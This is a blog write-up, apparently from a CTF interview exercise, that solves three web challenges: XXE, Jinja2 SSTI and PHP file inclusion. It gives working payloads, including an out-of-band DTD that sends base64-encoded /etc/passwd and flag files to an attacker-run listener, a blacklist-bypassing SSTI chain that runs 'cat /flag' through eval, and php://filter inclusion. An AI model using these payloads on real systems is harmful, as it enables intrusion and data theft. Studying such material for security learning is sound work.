2022赛宁网安ctf面试题

2022赛宁网安ctf面试题

环境地址

1
2
3
61.147.171.107:10081
61.147.171.107:10082
61.147.171.107:10083

10081 xml注入

访问源代码分析,感觉应该的是个xml外部实体注入

先构造payload试一哈:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

确实存在,但是有过滤

image-20220215220635177

尝试使用参数型实体方式注入:

vps构造 test.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://192.168.31.79:8888?p=%file;'>">

开启端口监听:nc -lvvp 8888

攻击payload:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://139.196.234.164:8899/test.dtd">
%remote;%int;%send;
]>

image-20220215221604181

成功返回加密字符串,解密后获取

image-20220215221634222

修改test.dtd获取test.php源码

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.php">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://192.168.31.79:8888?p=%file;'>">

发包获取到源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
error_reporting(0);
function showAttrs($attrs) {
$r = [""];
foreach ($attrs as $k => $v) {
array_push($r, $k . "=\"" . $v->textContent . "\"");
}
return implode(" ", $r);
}

function showNode($n, $pre) {
if ($n->hasChildNodes()) {
echo $pre . "<" . $n->nodeName . showAttrs($n->attributes) . ">\n";
foreach ($n->childNodes as $c) {
show($c, $pre . " ");
}
echo $pre . "</" . $n->nodeName . ">\n";
} else {
echo $pre . "<" . $n->nodeName . showAttrs($n->attributes) . "/>\n";
}
}

function show($n, $pre) {
switch ($n->nodeType) {
case XML_ELEMENT_NODE:
showNode($n, $pre);
break;

case XML_TEXT_NODE:
case XML_CDATA_SECTION_NODE:
case XML_ENTITY_REF_NODE:
echo $pre . $n->textContent . "\n";
break;

case XML_COMMENT_NODE:
echo $pre . "<!--" . $n->textContent . "-->\n";
break;

case XML_DOCUMENT_NODE:
foreach ($n->childNodes as $c) {
show($c, $pre);
}
break;

default:
echo "Nope";
break;
}
}

if ($_SERVER["REQUEST_METHOD"] == "POST") {
$d = new DOMDocument();
$data = file_get_contents("php://input");
if(preg_match('/file|rot13/i', $data))
{
die('illegal!');
}
$d->loadXML($data, LIBXML_BIGLINES | LIBXML_COMPACT | LIBXML_DTDVALID | LIBXML_NOBLANKS |LIBXML_NOERROR | LIBXML_NOWARNING | LIBXML_NOENT);

if ($d->validate()) {
show($d, "");
} else {
echo "这好像不是个规范的语句哦";
}

} else {
echo ("请求方式有误");
}

看了一下源码没啥东西

应该不用源码审计,猜测flag可能存在路径下,修改test.dtd包含一下看看

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://192.168.31.79:8888?p=%file;'>">

image-20220215222612642

确实有值,解密后成功拿到flag

1
ZmxhZ3tYUE9aVGQ2NkZhQU1zVXNUcng3QzJ2cURCVm1nRXFiYn0K

image-20220215222649524

flag:flag{XPOZTd66FaAMsUsTrx7C2vqDBVmgEqbb}

10082 ssti模板注入

请求获取源码,分析源码,获得变量入口点,首先传参变量是name, 构造/?name={{4*4}}

image-20220215165423675

呦西 ,确实有ssti!

不过存在过滤,几乎把能过滤的东西都过滤了,过滤的死死滴

1
blackwords = ['class', 'attr', 'mro', 'base', 'request', 'session', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', 'local', 'input', 'compile', 'os', 'flag', 'dir', 'eval', 'print', 'and','[', ']', '\'', '"', '{}', '\\', '#', '<', '>', '&', '/', '+']

那就绕吧,怎么绕呢?

这里可以利用的点就是使用jinja2自身的过滤器进行bypass

1
{% set org = ({ }|select()|string()) %}{{org}}

image-20220215172249858

编写获取对应字符串搜索脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/local/env python3
# -*- coding:utf-8 -*-
# author:greetdawn

import requests

url = "http://61.147.171.107:10082/?name="
payload = "{{% set sstr = ((app.__doc__|string|list).pop({num})|string) %}}{{{{sstr}}}}"

for i in range(0, 300):
r = requests.get(url + payload.format(num=i))
# print(r.text)
if '/' in r.text:
print("[+] paylaod: {}".format(payload.format(num=i)))
break
else:
print("search {}".format(i))

依次获取更多字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{% set xhx = (({ }|select|string|list).pop(24)|string) %}{{xhx}} # _
{% set space = (({ }|select|string|list).pop(10)|string) %} # 空格
{% set left = ((app.__doc__|string|list).pop(171)|string) %} {{left}} # (
{% set right = ((app.__doc__|string|list).pop(182)|string) %} {{right}} # )
{% set yin = ((app.__doc__|string|list).pop(177)|string) %} # 单引号 '
{% set point = ((app.__doc__|string|list).pop(26)|string) %} {{point}} # .

{% set but = dict(buil=aa,tins=dd)|join %} # builtins
{% set imp = dict(imp=aa,ort=dd)|join %}{{imp}} # import
{% set pon = dict(po=aa,pen=dd)|join %}{{pon}} # popen
{% set os = dict(o=aa,s=dd)|join %}{{os}} # os
{% set ca = dict(ca=aa,t=dd)|join %} # cat
{% set flg = dict(fl=aa,ag=dd)|join %} # flag
{% set ev = dict(ev=aa,al=dd)|join %} # eval
{% set red = dict(re=aa,ad=dd)|join %} {{red}} # read
{% set bul = xhx*2~but~xhx*2 %} # __builtins__

{% set zero = (self|int) %} # 0, 也可以使用lenght过滤器获取数字
{% set one = (zero**zero)|int %} # 1
{% set two = (zero-one-one)|abs %} # 2
{% set four = (two*two)|int %} # 4
{% set five = (two*two*two)-one-one-one %} # 5
{% set three = five-one-one %} # 3
{% set nine = (two*two*two*two-five-one-one) %} # 9
{% set seven = (zero-one-one-five)|abs %} # 7
{% set c = dict(c=aa)|reverse|first %} # 字符 c
{% set bfh = self|string|urlencode|first %} # 百分号 %
{% set bfhc = bfh~c %} # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set slas = bfhc%((four~seven)|int) %} # 使用%c构造斜杠 /

根据以上获取字符串进行拼接获取payload:``__import__(’os‘).popen(‘cat /flag’).read()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
http://61.147.171.107:10082/?name={% set zero = (self|int) %}
{% set one = (zero**zero)|int %}
{% set two = (zero-one-one)|abs %}
{% set four = (two*two)|int %}
{% set five = (two*two*two)-one-one-one %}
{% set three = five-one-one %}
{% set nine = (two*two*two*two-five-one-one) %}
{% set seven = (zero-one-one-five)|abs %}
{% set c = dict(c=aa)|reverse|first %}
{% set bfh = self|string|urlencode|first %}
{% set bfhc = bfh~c %}
{% set slas = bfhc%((four~seven)|int) %}
{% set space = (({ }|select|string|list).pop(10)|string) %}
{% set yin = ((app.__doc__|string|list).pop(177)|string) %}
{% set xhx = (({ }|select|string|list).pop(24)|string) %}
{% set left = ((app.__doc__|string|list).pop(171)|string) %}
{% set right = ((app.__doc__|string|list).pop(182)|string) %}
{% set point = ((app.__doc__|string|list).pop(26)|string) %}
{% set but = dict(buil=aa,tins=dd)|join %}
{% set imp = dict(imp=aa,ort=dd)|join %}
{% set pon = dict(po=aa,pen=dd)|join %}
{% set exo = dict(o=aa,s=dd)|join %}
{% set ca = dict(ca=aa,t=dd)|join %}
{% set flg = dict(fl=aa,ag=dd)|join %}
{% set ev = dict(ev=aa,al=dd)|join %}
{% set red = dict(re=aa,ad=dd)|join %}
{% set bul = xhx*2~but~xhx*2 %}
{% set pld = xhx*2~imp~xhx*2~left~yin~exo~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}
{{pld}}

image-20220215215529181

带入万能payload构造eval执行命令

1
2
3
4
5
6
7
8
9
{% for f,v in whoami.__init__.__globals__.items() %}
{% if f == bul %}
{% for a,b in v.items() %}
{% if a == ev %}
{{b(pld)}}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

image-20220215215549758

flag : flag{m6WMnd6PKJyuxepVxGjgUCpl7JzWyDjS}

10083 文件包含

请求看源码,典型的文件包含,传入变量file1file2

payload:

1
2
file1=php://filter/read=convert.base64-encode/resource=flag.php
file2=data:text/plain,hello ctf

利用data协议传入原始文件流,利用php://filter协议包含flag.php文件源码

image-20220215164654261成功获取base64值解密得flag

1
2
3
4
5
 PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gZmxhZ3sxbmx1ZGVfYW5kX2cwVF8xVCF9

<?php
echo "WRONG WAY!";
// $flag = flag{1nlude_and_g0T_1T!}

flag: flag{1nlude_and_g0T_1T!}

作者

丨greetdawn丨

发布于

2022-02-15

更新于

2023-05-06

许可协议

评论